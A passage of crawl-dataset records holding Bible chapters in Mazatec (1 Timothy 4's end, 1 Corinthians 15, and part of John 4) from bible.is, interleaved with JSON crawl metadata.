ti̱koa̱ ti̱xákoi̱i mé‑ne nga skoe̱ yije‑ne xi̱ta̱ nga ndaà tímajchíngakoi̱i. 16Ndaà ti̱kindi̱i yijo‑lè mé xi 'nì. Ti̱koa̱ t'i̱in kinda̱ jè 'én xi okoòya‑la̱ xi̱ta̱. Kixi̱ ti̱jni. Tsà k'oa̱s'ín si̱kitasoìn, ngaji̱, ki̱tjokàjiìn kjo̱'in; ti̱koa̱á ki̱tjokàjiìn kjo̱'in jñà xi̱ta̱ xi 'nchré‑lè.\n1 Timoteo 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/4","date":"2013-12-12T07:50:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164568332\/warc\/CC-MAIN-20131204134248-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":406,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Ndi̱‑ni̱ ndí 'ndsé ko̱ ndí tichjeé, mején‑na nga síkítsjen‑yá‑najiòn jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra 'a̱n tsi'kènájmíya‑najiòn, 'én nda‑la̱ Cristo ra kjokjiín‑no ko̱ ra kixi̱ titsa̱jna‑no 'ndi̱‑ni̱. 2Jè 'én nda ra̱kìi̱ ra ko̱ma‑la̱ si̱ìkítsa̱jnandi̱í‑no a̱'ta 'tse̱ jé‑no tsa takó ko̱'sín kixi̱ i̱nchimahíko̱o 'én nda‑la̱ Cristo koni 'sín nga ítsi'kena̱jmíya‑no; tsa majìn, ta kjo̱tjó‑la‑ni nga kjokjiín‑no. 3Nga̱ jé kjón ítsakon‑yá ítjòn‑najiòn koni 'sín tjín 'én ra 'a̱n itjábé‑na, nga jé Cristo 'ken‑tjì ngajo‑ná ra kjoa̱ 'tse̱ jé‑ná koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá; 4nga kisihi'nde‑ní ko̱ nga jaáya‑ila̱ nga ijchò jàn ni̱chjin koni 'sín nga tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá; 5nga̱ jè Cefas [Pedro] tsakón‑la̱ ijo‑la̱; ra kjomà 'kia̱á tsakón‑la̱ ijo‑la̱ jñà xi̱ta̱‑la̱ ra i'ka ra ma‑ni tejò ko̱ Pedro. 6Ra kjomà a̱skan‑nioo̱, tsatoó 'òn sindo̱ ma‑ni xi̱ta̱ ra ngi india kjón‑ní kiskàjin. Jñà xi̱ta̱ kìi̱, ijyeé 'ken i'ka tanga takó kjín ma‑ni ra takó títsa̱kon skanda ni̱chjin 'ndi̱‑ni̱. 7'Kia̱á tsakón‑la̱ ijo‑la̱ jè Jacobo ko̱ a̱kjòn tsakón‑la̱ ijo‑la̱ nga'tsì xi̱ta̱‑la̱ ra tsikíxáya‑la̱. 8Ra ijyehe'tà‑ni, 'a̱án tsakón‑na ijo‑la̱, 'a̱n ra 'koa̱á jngoya‑la̱ koni jngo i'ndí‑xó ra mì nda kitsin. 9'A̱n, isa̱á ta 'ñó nangi tíjna̱ koni jñà xi̱ta̱ ra i'ka ra tsikíxáya‑la̱ Jesús. Nda mí‑la bakèn‑na nga 'a̱n tsikíxáya‑na tsa nda kjòn‑ni, tà nga̱tjì‑la̱ nga 'a̱án kítsahatji̱ngi‑la̱ xi̱ta̱ na̱xi̱ndá‑la̱ Nainá. 10Tanga ta kjo̱nda 'tse̱ Nainá‑ní tsa yá‑na ra 'a̱n. Ko̱ jè kjo̱nda ra̱kìi̱ mì tsa ta ya̱ tíchija. Isa̱á ta 'ñó jnchro tísíxáa̱, nda mí 'koa̱‑ni koni jñà xi̱ta̱‑la̱ ra i'ka. Tanga mì tsa 'a̱n jiàa̱n, jè sabá kjo̱nda‑la̱ Nainá ra tísíxájin ijo‑na̱. 11Mì tsa jè ra chjí‑la̱ yá ra tsakón‑ya, a jñà xi̱ta̱ ra i'kaa̱ o̱ ra 'a̱n‑ná; jè‑ní ra chjí‑la̱ nga ji̱ín tsi'kèna̱jmíya‑laji̱n jè 'én nda‑la̱ Cristo ko̱ 'ndi̱‑ni̱ ijyeé makjiín‑najiòn. 12'Koa̱á 'sín tsakòya‑laji̱n nga jè Cristo jaáya‑la̱ ya̱ a̱jin‑la̱ mi'ken; tanga, ¿mé‑ni ko̱'sín bixó i'ka‑najiòn nga mì kì ma kjoa̱áya‑la̱ jñà xi̱ta̱ ra ijye 'ken? 13Tsa mì kì kjoa̱áya‑la̱ xi̱ta̱ ra ijye 'ken, takó kjè‑la tsa faháya‑la̱ Cristo tsa'koa̱. 14Tsa mì tsa jaáya‑la̱ Cristo, ta kjo̱tjó‑la‑ni nga i̱nchi'bèna̱jmíya‑ji̱n ko̱ ti̱'koa̱á ta kjo̱tjó‑la‑ni nga ko̱'sín makjiín‑najiòn tsa'koa̱. 15Tsa kixi̱ kjoa̱ nga mì kì kjoa̱áya‑la̱ xi̱ta̱ ra ijye 'ken, ji̱ín‑laji̱n ra xi̱ta̱ ndiso kítjo̱ngi‑ji̱n ya̱ a̱'ta 'tse̱ Nainá, nga̱ 'koa̱á 'sín tsi'kèna̱jmíya‑ji̱n nga jè Nainá isikjaáya‑la̱ Cristo, ko̱ mí‑la tsa jaáya‑la̱ tsa'koa̱ tsa kixi̱ kjoa̱ nga mì kì faháya‑la̱ mi'ken. 16Tsa mì faháya‑la̱ mi'ken tsa'koa̱, ti̱'koa̱á takó kjè‑la faháya‑la̱ jè Cristo. 17Ko̱ tsa kjè faháya‑la̱ Cristo, ni̱mé‑la chjí‑la̱ koni 'sín nga makjiín‑najiòn tsa'koa̱; takó ya̱á‑la titsa̱jin‑najiòn jé‑no. 18Ko̱ jñà xi̱ta̱ ra ijye 'ken ra kjokjiín‑la̱ a̱'ta 'tse̱ Cristo 'kia̱ nga títsa̱jnakon‑isa, ta ya̱á‑la ichijà tsa'koa̱, tsa mì kì jaáya‑la̱ jè Cristo. 19Jién‑leé ra isa̱ ta bato xi̱ta̱ i̱ma̱ 'mì‑ná i̱ a̱'ta nangi, tsa 'koa̱á 'sín bixé nga tà ya̱á kje̱he'tà nga'tsì kjoa̱ ra chiñá‑lá a̱'ta 'tse̱ Cristo 'kia̱ nga jién ra ki̱yé. 20Tanga ra ngi kixi̱ kjoa̱, jè Cristo jaáya‑la̱. 'Koa̱á 'sín kjomà ra a̱'ta 'tse̱ koni jngo to ra majchá ítjòn. Jè jaáya ítjòn‑la̱ mé‑ni nga ko̱ma kjoa̱áya‑la̱ a̱skan‑nioo̱ jñà xi̱ta̱ ra ijye 'ken. 21Koni 'sín ta nga̱tjìa‑ni jngo xi̱ta̱, nga ko̱'sín 'ji kjo̱biya i̱ i̱sà'nde, 'koa̱á ti̱'sín ta nga̱tjì‑la̱ jngo xi̱ta̱, nga ko̱ma kjoa̱áya‑la̱ jñà ra ijye 'ken. 22Nga̱ a̱'ta 'tse̱ Adán‑ní koni 'sín nga biya nga'tsì xi̱ta̱. 'Koa̱á ti̱'sín ta a̱'ta 'tse̱ Cristo‑ní nga ma kítsakon nga'tsì xi̱ta̱. 23Tanga kja̱ ki̱jchò kja̱ ki̱jchò ni̱chjin‑la̱ nga ko̱ko̱‑la̱. Jè Cristo jaáya ítjòn‑la̱. Tanga 'kia̱á kjoa̱áya‑la̱ jñà xi̱ta̱ ra 'tse̱ Cristo, 'kia̱ nga kj'i̱í india‑ni ra jè. 24'Kia̱á kje̱he'tà i̱sà'nde 'kia̱ nga jè Cristo si̱ikjehesòn ijye nga'tsì nga'ñó ra mì nda, ko̱ nga'tsì kjo̱téxoma 'cho, ko̱ ra batéxoma‑la̱ nga'tsì ra kjoa̱'cho. 'Kia̱á jè Cristo si̱ìnga̱tsja kjo̱téxoma‑la̱ Nainá ra Na̱'ín‑ná ma. 25Machjeén‑ní nga jè Cristo katabatéxoma skanda 'kia̱ nga ya̱ si̱ìkítsa̱hijyongí ya̱ ndsa̱ko̱ nga'tsì jñà xi̱ta̱ kondra̱‑la̱. 26Ko̱ jè kondra̱ ra fehe'ta‑ni nga jchi̱ja, jé ra 'mì kjo̱biya. 27Ta mé ra tjín, Nainá, ya̱á kisíkítsa̱jnangi ijye ya̱ ndsa̱ko̱ Cristo. Jè tíbatéxoma ijye‑la̱. Tanga, mì tsa tsò‑ni kjoa̱ nga jè Nainá ya̱á tíjnangi‑te ya̱ ndsa̱ko̱ Cristo, nga̱ jè sabá jnchro Nainá ra ya̱ tsikítsa̱jnangi ya̱ ndsa̱ko̱ Cristo ta nga'tsì mé ra tjín. 28'Kia̱ nga ijye ya̱ kítsa̱jnangi nga'tsì ra tjín ya̱ a̱ngi ndsa̱ko̱ Cristo, 'kia̱á, ra ti̱jè‑ni Cristo, koni ra i'ndí‑la̱ ma, ya̱á kíjnangi ndsa̱ko̱ Nainá, jè ra ti̱jè tsikítsa̱jnangi‑ni ndsa̱ko̱ nga'tsì ra tjín. 'Koa̱á 'sín jè Nainá ko̱tèxoma‑la̱ nga'tsì ra 'se̱ i̱ i̱sà'nde. 29Tanga tsa mì yá ra faháya‑la̱, ¿mé‑ni jñà xi̱ta̱ batíndá ngajo‑la̱ ijo‑la̱ jñà xi̱ta̱ ra ijye 'ken? ¿Mé‑ni ko̱'sín 'sín‑ni, tsa kixi̱ kjoa̱ nga mì kì faháya‑la̱ jñà ra ijye 'ken? 30Ko̱ ngaji̱n, ¿mé‑ni chjàn ni̱chjin nchijón i̱nchibinchaxkón‑la̱ji̱n ijo‑na̱ji̱n tsa'koa̱ [nga i̱nchi'bèna̱jmíya‑ji̱n 'én nda‑la̱ Cristo], tsa mì yá ra kjoa̱áya‑ila̱? 31Tsa 'yaá‑la jiòn 'ndsé ko̱ tichjeé, nga ni̱chjin nchijón‑ní nga tje̱n‑nda‑na kjo̱biya ra 'a̱n, ngi kixi̱ kiti‑ní, jñà kjoa̱ kìi̱ koni 'sín tsja tjín‑te‑na ra a̱'ta tsa̱jiòn, tà nga̱tjì‑la̱ nga̱ ngásòn makjiín‑ná a̱'ta 'tse̱ Cristo Jesús ra tíjna ítjòn‑ná. 32'Kia̱ nga ískajàn‑ko̱ xi̱ta̱ ra koni kjòn cho̱ ijñá kjòn ya̱ ján na̱xi̱ndá Éfeso, ni̱mé‑la ra ísikíjneè‑na tsa'koa̱, tsa tà kjoa̱ 'tse̱ xi̱ta̱ i̱sà'ndeé‑ni ra ískajàn'ta. Tsa mí faháya‑la̱ jñà ra ijye 'ken, ko̱'sín 'sia̱n jnchreé tsa'koa̱ koni 'sín nga tsò i'ka xi̱ta̱: \"Ki̱chieé, ko̱ 'sie̱é nga takó ki̱yá ko̱sa̱á‑né nchijòn.\" 33Kì ti̱jiòn bindisoko̱‑no ijo‑no. Ndaá tsò jngo 'én ra tsò: \"Jñà xi̱ta̱ ra ya̱ fahijtake̱é ra mì kì nda tjín kjo̱bítsjen‑la̱, sa'koa̱á ta jñá jnchro síkitsón‑jin‑ni koni 'sín nga nda i̱nchiníjché ijo‑ná.\" 34Ti̱kinda̱ ki'ta ijo‑no. Kì ti̱ tsja jé fatsji‑no. Nga̱ tjín i'ka ra mì kì bexkon Nainá. Kií ko̱xin‑no jiòn mé‑ni nga katasabà‑no. 35Tjín‑la i'ka jiòn ra bixó: \"¿Kó'sín ko̱ma‑la̱ nga kjoa̱áya‑ila̱ mi'ken? ¿Mé ijo 'ya 'kia̱ nga kjoa̱áya‑ila̱?\" 36¡Mé‑ni ta mì machi̱ya‑no! 'Koa̱á jngoya‑la̱ koni jñà ra bitje̱ jiòn, mì kì ki̱so̱ tsa mì kì ítjòn kji̱'ndo chrja̱ba̱‑la̱. 37Nga̱ jñà ni̱jmé ra bitje̱ jiòn, mì tsa ko̱kjòn‑jìn koni kjòn ko̱ma jñà jno̱ 'kia̱ nga ijye ki̱so̱, ni̱'sín ta mé ni̱jmé‑nioo̱, a 'tse̱ trigo‑ní o̱ ra kj'ií ni̱jmé‑ní. 38Nga̱ jè Nainá, 'koa̱á 'sín kjòn 'si̱in jno̱ koni 'sín nga jè mejèn‑la̱. 'Kia̱ nga jngó jngó sko̱ya tsajmì sitje̱, jè Nainá, 'koa̱á 'sín kjòn 'sín xka̱‑la̱ koni 'sín kjòn ñánda̱ nga inchrabà tje̱‑ni. 39Mì tsa ta nga'tsì‑ni ijo ngásòn kjòn. Jién ra xi̱ta̱ 'mì‑ná, kj'ií kjòn ijo‑ná, ko̱ kj'ií kjòn ijo‑la̱ cho̱; kj'ií kjòn ijo‑la̱ ti̱, ko̱ kj'ií kjòn ijo‑la̱ ni̱se. 40Koni 'sín kjòn ra tjín i̱ a̱'ta nangi, 'koa̱á ti̱'sín chon‑te ya̱ ján ngajmi nga tjín ra kj'ií kjòn. Jñà ra tjín ján ngajmi kj'ií 'sín tsijen, ko̱ kj'ií 'sín tsijen ra tjín i̱ a̱'ta nangi. 41Koni 'sín nga fate tsijen tsá'bí, kj'ií 'sín fate tsijen jè sá, ko̱ kj'ií 'sín fate tsijen jñà nitse, ko̱ jñà nitse, kja̱ kj'ií kja̱ kj'ií 'sín fate tsijen nga jngó jngó. 42Ti̱'koa̱á, 'koa̱á ti̱'sín tjín‑te a̱'ta 'tse̱ ra faháya‑la̱ xi̱ta̱. Jè ijo ra sihi'nde, fì'ndo‑ní, ko̱ 'kia̱ nga kjoa̱áya‑ila̱, mì kì ti̱ kji̱'ndo‑ni. 43Si̱hi'nde‑ní ra mì ti̱ mé chjí‑la̱; jeyaá kíjna 'kia̱ nga kjoa̱áya‑ila̱. Ti̱'koa̱á si̱hi'nde ra mì mé nga'ñó tjín‑la̱, ko̱ 'kia̱ nga kjoa̱áya‑ila̱, tseé nga'ñó tji̱ko̱. 44Jè ra sihi'nde, jè‑ní jè ijo‑ná koni 'sín nga kjén. Tanga jè ra kjoa̱áya‑ila̱, jngoó ijo ra jè Inìma̱ Tsje‑la̱ Nainá síkíjnakon. Tjín ijo‑ná koni 'sín nga kjén, ti̱'koa̱á tjín ijo ra jè Inìma̱ Tsje‑la̱ Nainá síkíjnakon. 45Nga̱ 'koa̱á 'sín tsò xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá: \"Jè xi̱ta̱ 'xi̱n ra 'ji ítjòn jè ra tsi'kìn Adán, jngoó xi̱ta̱ ra ki'se‑la̱ kjo̱binachon.\" Tanga jè xi̱ta̱ 'xi̱n (Adán) ra 'ji a̱skan‑nioo̱ [ra jè Cristo] jngoó Inìma̱ Tsje ra ma‑la̱ tsjá kjo̱binachon. 46Tanga mì tsa jè 'ji ítjòn jè ra Inìma̱ Tsje, jè 'ji ítjòn jè ra ta ijo koni jién, ko̱ a̱skaán 'ji ra ngi jè Inìma̱ Tsje. 47Jè xi̱ta̱ 'xi̱n ra 'ji ítjòn, i̱í a̱'ta nángi 'tse̱, ko̱ ni'nde‑ní; tanga jè xi̱ta̱ ra 'ji ra ma‑ni jò 'ka̱, ján ngajmi inchrabà‑ni. 48Nga'tsì xi̱ta̱ ra i̱ chja̱‑ni i̱ a̱'ta nangi, 'koa̱á 'sín kjòn ijo‑la̱ koni 'sín 'ki kjomà ijo‑la̱ xi̱ta̱ ra ni'nde isinda‑ni. Ko̱ jñà ra chja̱‑ni ján ngajmi, 'koa̱á 'sín kjòn ko̱ma ijo‑la̱ koni 'sín 'ki ijo‑la̱ jè ra ngajmi inchrabà‑ni. 49'Koa̱á 'sín tsijen jè ijo‑ná koni 'sín 'ki 'tse̱ xi̱ta̱ ra ni'nde isinda‑ni, tanga ra ko̱ma a̱skan, 'koa̱á 'sín ko̱tsíjen‑te koni 'sín 'ki 'tse̱ ra inchrabà‑ni ján ngajmi. 50Kií ko̱'sín xin‑no jiòn 'ndsé ko̱ tichjeé, nga ni̱jngo ijo tíkon ko̱ma kjoa̱ha'sen ya̱ ñánda̱ tíbatéxoma Nainá; nga̱ ni̱jngo ijo‑ná ra fì'ndo ma ya̱ ki̱jchò ñánda̱ tjín ra mì fì'ndo. 51I̱í jndíi̱ ko̱xín jngo‑no kjoa̱ ra tjí'ma, ra ta jè Nainá tjíjin‑la̱. Mì tsa ta nga'tsí‑ná nga ki̱yé, tanga nga'tsí‑ná nga kjoa̱atjìya‑ná nga jngo ijo xi̱tse̱ tjábé‑ná. 52Ta inda kjón‑ní nga ko̱ka̱ma koni 'sín ma 'kia̱ nga bichjé ko̱ nga chí'xe̱é jñà xkén, 'kia̱ nga ski̱'ndá chrjoo̱ ra fehe'ta‑ni. Nga̱ chrjoó ski̱'ndá ko̱ jñà mi'ken kjoa̱áya‑ila̱ ko̱ ni̱ì‑ti̱‑kjiá ki̱yá‑ni. Ko̱ jién kjoa̱atjìya‑ná. 53Jè ijo‑ná ra fì'ndo ko̱ ra mì kì biya, machjeén‑ní nga jngo ijo xi̱tse̱ ra mì fì'ndo ko̱ ra mì biya tjábé‑la̱. 54'Kia̱ nga jè ijo‑ná ra fì'ndo ko̱ ra biya, jngoó ijo xi̱tse̱ ra mì fì'ndo ko̱ ra mì biya tjábé‑la̱, ya̱á ki̱tjasòn koni 'sín nga tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Jè Nainá jngo kjá kisikijne‑la̱ ra kjo̱biya.\" 55\"Ji̱ ra kjo̱biya 'mì‑li, ¿ñánda̱ tíjna‑ni nga kinìkijni? ¿Ñánda̱ tíjna na'yá‑li jè ra sí'ken xi̱ta̱?\" 56Jè ma na'yá‑la̱ kjo̱biya jè jé. Ko̱ jè jé, ya̱á sakó‑la̱ nga'ñó a̱'ta 'tse̱ kjo̱téxoma ra tjín. 57Tanga tse kjo̱nda kata'se‑la̱ Nainá nga̱ jé tsjá‑ná nga'ñó nga a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná nikijne‑lá kjoa̱biya. 58Jiòn ndí 'ndsé ra 'ñó matsjake̱‑no, ngi kixi̱ ti̱jchá ijo‑no, ko̱ kì ni̱yá ra síkaatjìya‑la̱ kjo̱bítsjen‑no. Ko̱'sín isa̱ 'ñó nda ti̱xá-isa‑lá Na̱'ín‑ná, nga̱ 'yaá‑nájiòn nga jè xá‑la̱ Na̱'ín‑ná ra 'sia̱an jiòn, mì tsa tà kjo̱tjò‑jìn.\n1 Corintios 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/15","date":"2013-12-12T15:46:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164643547\/warc\/CC-MAIN-20131204134403-00033-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":1592,"character_repetition_ratio":0.069,"word_repetition_ratio":0.001,"special_characters_ratio":0.252,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà xi̱ta̱ fariseo kií'nchré‑ní nga isa̱á‑ró kjìn ma‑ni xi̱ta̱ ra batíndá Jesús, mì 'koa̱‑ni koni jè Juan. 2(Ni̱'sín mì tsa jè kjòn‑ni Jesús jè ra batíndá xi̱ta̱; jñà xi̱ta̱ ra kotá'yá'ta‑la̱ ra batíndá xi̱ta̱.) 3Jè Jesús, 'kia̱ nga kisijin‑la̱ nga jñà xi̱ta̱ fariseo, ijyeé kií'nchré 'én kìi̱, itjokàjin nangi Judea, a̱kjòn kijì india‑ni ján nangi Galilea. 4'Kia̱ nga kijì, tjínè‑la̱ nga ko̱'sín ko̱tojin ya̱ nangi Samaria. 5Ijchò jngo na̱xi̱ndá ra 'mì Sicar ra ya̱ chja̱‑ni Samaria, ya̱ chraña'ta‑la̱ nangi ra kitsjà kjo̱tjò‑la̱ Jacob i'ndí‑la̱ ra tsi'kìn José nga 'sa̱ kjotseé. 6Ijyeé‑la ijchò tsa masen ni̱chjin nga tsá'baya ndi̱yá jè Jesús, ko̱ ijyeé itsi'on‑la̱. Ko̱ ya̱á tsikijnakjáya ya̱ ñánda̱ tíjna jngo nga̱jo̱ nandá ra 'tse̱ Jacob kjomà. 7‑ 8Ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ ya̱á kijì ya̱ a̱jin na̱xi̱ndá ján nga ikatse tsajmì ra ski̱ne̱. 'Kia̱á chi̱ba̱‑la̱ 'ji jngo chjo̱ón ra ya̱ i̱'nde‑la̱ Samaria, nga 'ji káchrje nandá. 'Kia̱á kitsó‑la̱ Jesús: ―I̱tsé nandá 'ki̱‑ná ra sk'ia̱a. 9Jñà xi̱ta̱ judío mì kì nda fìko̱ jñà xi̱ta̱ ra ya̱ Samaria i̱'nde‑la̱. 'Koa̱á ma‑ni nga jè chjo̱ón kitsó‑la̱: ―¿Kó'sín ma‑ni nga nandá níjé‑ná? Ngaji̱ xi̱ta̱ judío‑ní, ko̱ 'a̱n chjo̱ón Samaria‑ná. 10Kiìchja̱ Jesús, kitsò‑la̱: ―Tsa 'yaá‑li jè kjo̱tjò ra tsjá Nainá, ko̱ tsa 'yaxkoón‑li yá‑ni ra tísíjé‑li nandá, tsa ji̱í‑la ra si̱jé‑la nandá, ra jè, jé tsjá‑li nandá ra síkíjnakon‑ná. 11Jè chjo̱ón kitsó‑ní: ―Ji̱ Na̱'ìn, ni̱mé ra ki'chìi̱ ra ma ki̱náchrje‑ni nandá, ko̱ jè nga̱jo̱ 'ñó na̱nga̱. ¿Ñánda̱ kíjch'ii̱ jè nandá ra ma síkíjnakon‑ná nga 'ki̱‑ná? 12¿A isa̱á tijna ítjòn‑la̱ ji̱, jè xi̱ta̱ jchínga‑na̱ji̱n Jacob, jè ra kitsjà‑naji̱n nga̱jo̱ nandá ra̱kìi̱? I̱í 'ji káchrje nandá ra ki'tsi ra jè, ko̱ i̱xti‑la̱ ko̱ jñà cho̱ ra tsikítje̱. 13Jesús kiìchja̱á kitsó‑la̱: ―Nga'tsì ra 'bi nandá ra̱kìi̱, maxándá india‑ila̱; 14tanga jè xi̱ta̱ ra sk'í nandá ra 'a̱n tsja‑la̱, ni̱ì‑ti̱‑kjiá ko̱xándá india‑ila̱, nga jè nandá ra 'a̱n tsja‑la̱, 'koa̱á 'sín ko̱ma ya̱ a̱ya inìma̱‑la̱ koni ñánda̱ nga títjo nandá, ko̱ jè nandá ra̱kìi̱, si̱ìkíjnakon‑ní skanda ta kjiá‑nioo̱. 15Jè chjo̱ón kitsó‑ní: ―Na̱'ìn, 'ti̱‑ná nandá ra ko̱'mì‑la ji̱, mé‑ni mì kì ti̱ ko̱xándá‑na ko̱ mì ti̱ i̱ kjí'i̱ kàchrjé‑na nandá. 16Jesús kitsó‑la̱: ―Ti̱nákjoa̱‑la̱ 'xi̱n‑li, a̱kjòn ta̱áfa india‑ni i̱jndíi̱. 17Kitsó jè chjo̱ón: ―Tsìn‑na 'xi̱n. Jesús kitsó‑la̱: ―Kjo̱hixi̱‑ní koni 'sín sii̱, nga tsìn‑li 'xi̱n; 18nga̱ kjo 'òn 'xi̱n 'se‑li, ko̱ jè xi̱ta̱ ra tijnaki̱i 'ndi̱ 'ndi̱, mì tsa ngi 'xi̱n‑li ma. Kixi̱í kjoa̱ koni 'sín tjisi. 19Jè chjo̱ón ra̱kìi̱, 'kia̱ nga kií'nchré 'én kìi̱, kitsó‑ní: ―Na̱'ìn, 'koa̱á 'sín tímachi̱ya‑na nga ji̱í‑li xi̱ta̱ ra chja̱ ngajo‑la̱ Nainá. 20Jñà xi̱ta̱ jchínga‑na̱ji̱n, ra Samaria tsa̱ji̱n‑ji̱n, i̱í kijtsexkón Nainá, jè nindo ra̱kìi̱; tanga jiòn ra xi̱ta̱ judío 'mì‑no, bixó‑nó jiòn nga ta ya̱á Jerusalén ko̱ma jcha̱xkón Nainá. 21Jesús kitsó‑la̱: ―Ji̱ ndí chjo̱ón, katakjiín‑li koni 'sín xin‑la, ijyeé nchrabá ni̱chjin 'kia̱ nga mì ti̱ i̱‑ni nindo ra̱kìi̱, ko̱ mì ti̱ ján‑ni Jerusalén nga ma jcha̱xkón Nainá. 22Jiòn, ra xi̱ta̱ Samaria 'mì‑no, mì kì 'ya jiòn yá‑ni ra 'yaxkón; tanga ji̱n ra xi̱ta̱ judío 'mì‑naji̱n, 'ya‑náji̱n yá‑ni ra 'yaxkón‑ji̱n, nga̱ ya̱á ki̱tjokajin jngo‑ni 'tse̱ xi̱ta̱ judío ra ko̱chrjekàjin kjo̱hi'in xi̱ta̱. 23Tanga ijyeé tíma chraña ni̱chjin, ko̱ 'ndi̱í‑ni nga ngi kjo̱hixi̱ ko̱ nga ngi ko̱ó inìma̱‑la̱ nga ske̱xkón Na̱'ín‑ná nga'tsì jñà ra ngi kixi̱ kjoa̱ nga bexkón Nainá. Nga̱ jè Na̱'ín‑ná, 'koa̱á 'sín mejèn‑la̱ nga ko̱'sín kata'sín jñà ra jè bexkón. 24Nainá, Inìma̱ Tsje‑ní. 'Koa̱á ma‑ni nga jñà xi̱ta̱ ra bexkón, machjeén‑ní nga ngi ko̱ó kjo̱hixi̱‑la̱ ko̱ ngi ko̱ó inìma̱‑la̱ nga katabexkón. 25Jè chjo̱ón ra̱kìi̱ kitsó‑ní: ―Be‑ná nga kj'i̱í jè Mesías (jè ra xá si̱ìkasén‑ni Nainá, ra Cristo tsò‑ni); ko̱ 'kia̱ nga kj'i̱í ra jè, jè 'ke̱èna̱jmíya ijye‑ná nga'tsì kjoa̱ kìi̱. 26Jesús kitsó‑la̱: ―'A̱n‑ná ra tíbakó‑la. 27Ti̱jé‑ni hora ra̱kìi̱, 'ji‑ni xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús. Ta 'koa̱á kjomà‑la̱ nga jè Jesús, jngo chjo̱ón tíbáko̱. Tanga ni̱jngo ra kitsò ikon nga iskonangi‑la̱ mé ra mejèn‑la̱ ko̱ mé 'én ra i̱nchijo̱óna̱jmí. 28Jè chjo̱ón kitsjiín jè nisa nandá‑la̱; a̱kjòn kijí ya̱ a̱jin na̱xi̱ndá ján, nga kiì 'kéna̱jmí‑la̱ xi̱ta̱, kitsò‑la̱: 29―Nchrabá chítsijen‑la jngo xi̱ta̱ ra ko̱'sín kàtsò ijye‑na koni 'sín tjín kjoa̱ ra ijye kí'siaa̱n. Tsa jé jèe̱, ra Cristo [jè ra xá isìkasén‑ni Nainá]. 30Jñà xi̱ta̱ 'kia̱á itjojin na̱xi̱ndá nga kiìkatsíjen‑la̱ ñánda̱ nga tíjna Jesús. 31'Koa̱à‑la chi̱ba̱‑la̱ nga jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús i̱nchibítsa'ba‑la̱ nga i̱nchitsò‑la̱: ―Maestro, ti̱chi jngi. 32Tanga Jesús kitsó‑la̱: ―'A̱n, tjín‑na tsajmì ra bákje̱n ra mì kì 'yaxkon jiòn. 33Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ kitsó‑la̱ xákjén: ―¿A tjín ra kà'fiìkó‑la̱ tsajmì ra kabakjèn tsa 'koa̱? 34Jesús kitsó‑la̱: ―Jñà tsajmì ra bákje̱n ra 'a̱n, jè‑ní nga sìhitjásòo̱n koni 'sín mejèn‑la̱ jè ra isìkasén‑na ko̱ nga ti̱'koa̱ sikjéhe'ta xá‑la̱. 35Jiòn, 'koa̱á 'sín bixó nga ngi ijòn sá chija‑isa nga ko̱xkó tsajmì ra ijye ko̱jchá; tanga 'a̱n xin‑náa̱: Chítsijen‑la̱ ya̱ ñánda̱ nga tjítje̱ tsajmì, ijyeé kjójchá‑ní, ijyeé ma si̱ncháxkó. 36Jè xi̱ta̱ ra bíxkó tsajmì ra ijye kjójchá, machjí‑la̱; ko̱ jñà tsajmì ra mincháxkó, 'tse̱ kjo̱binachon‑ní, mé‑ni ngásòn 'se̱‑la̱ kjo̱tsja jè ra bítje̱ tsajmì ko̱ jè ra bíxkó. 37'Én kixi̱í jè 'én ra tsò: \"Kj'ií‑ní ra bítje̱ tsajmì ko̱ kj'ií‑ní ra bíxkó.\" 38'A̱án isìkasén‑no nga kíxkó tsajmì ya̱ ñánda̱ nga mì tsa jiòn iníxá; kj'ií‑ní ra isíxá, tanga jiòn i̱nchibako̱‑no nga i̱nchibíxkó tsajmì tjé‑la̱. 39Taxki̱ kjín xi̱ta̱ Samaria ra ya̱ tjíhijyo ya̱ na̱xi̱ndá ra̱kiòo̱ kjokjiín‑la̱ a̱'ta 'tse̱ Jesús 'kia̱ nga kií'nchré 'én ra kitsjà chjo̱ón nga kitsò: \"'Koa̱á kàtsò ijye‑na nga'tsì kjoa̱ ra kí'siaa̱n.\" 40'Kia̱ nga ijchò jñà xi̱ta̱ Samaria ñánda̱ nga tíjna Jesús, tsikítsa'baá‑la̱ nga ya̱ katijnako̱. Ko̱ jò ni̱chjin ya̱ tsikijnako̱. 41Ko̱ kjín xi̱ta̱ kjokjiín‑isa‑la̱ a̱'ta 'tse̱ Jesús 'kia̱ nga kií'nchré 'én ra jè sabà tsi'kéna̱jmí. 42Jñà xi̱ta̱ kitsó‑la̱ jè chjo̱ón: ―'Ndi̱ 'ndi̱‑ni̱ mì tsa ta ki makjiín‑naji̱n koni tsò 'én ra ji̱ tsi'kèna̱jmí‑náji̱n; ji̱n sabá i̱nchina'yá‑la̱ji̱n, ko̱ 'ya‑náji̱n nga kixi̱í kjoa̱ nga jé ra 